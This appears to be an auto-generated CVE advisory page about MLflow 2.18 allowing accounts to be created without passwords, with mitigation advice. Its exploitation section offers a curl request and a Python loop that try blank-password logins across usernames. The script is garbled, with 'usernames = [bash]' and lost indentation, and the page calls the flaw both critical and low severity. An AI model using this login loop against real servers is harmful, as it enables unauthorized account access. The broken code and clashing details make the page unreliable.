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How the Mentioned CVE Works:
In MLflow version 2.18, a critical oversight in the user account creation process allows administrators to create user accounts without setting a password. This vulnerability arises due to insufficient validation checks during the account creation process. When an admin creates a new user, the system fails to enforce mandatory password requirements, leaving the account with no password protection. This flaw can be exploited by attackers to gain unauthorized access to these accounts, potentially leading to data breaches or unauthorized actions within the MLflow platform. The issue was addressed in version 2.19.0, which enforces password requirements during user creation.
DailyCVE Form:
Platform: MLflow
Version: 2.18
Vulnerability: Weak Password Requirements
Severity: Low
Date: Mar 20, 2025
What Undercode Say:
Exploitation:
1. Exploit Command:
Attackers can exploit this vulnerability by identifying accounts created without passwords and attempting to log in using blank credentials.
Example:
curl -X POST http://<mlflow-server>/api/2.0/mlflow/users/login -d '{"username":"admin", "password":""}'
2. Exploit Code:
A Python script to automate the exploitation of accounts without passwords:
import requests
target_url = "http://<mlflow-server>/api/2.0/mlflow/users/login"
usernames = [bash]
for username in usernames:
response = requests.post(target_url, json={"username": username, "password": ""})
if response.status_code == 200:
print(f"Successfully logged in as {username} with no password.")
Protection:
1. Update Command:
Upgrade MLflow to version 2.19.0 or later to mitigate this vulnerability.
pip install --upgrade mlflow==2.19.0
2. Validation Code:
Implement server-side validation to ensure passwords are mandatory during user creation:
def create_user(username, password):
if not password:
raise ValueError("Password is required for user creation.")
Proceed with user creation logic
3. Security Best Practices:
- Enforce strong password policies.
- Regularly audit user accounts for compliance.
- Use multi-factor authentication (MFA) for added security.
4. Monitoring Command:
Use logging to monitor login attempts and detect suspicious activity:
tail -f /var/log/mlflow/access.log | grep "POST /api/2.0/mlflow/users/login"
5. Patch Verification:
Verify the patch by attempting to create a user without a password:
curl -X POST http://<mlflow-server>/api/2.0/mlflow/users/create -d '{"username":"testuser"}'
Expected response: {"error": "Password is required."}
By following these steps, you can effectively exploit, protect, and monitor against this vulnerability in MLflow.
References:
Reported By: https://github.com/advisories/GHSA-4rj2-9gcx-5qhx
Extra Source Hub:
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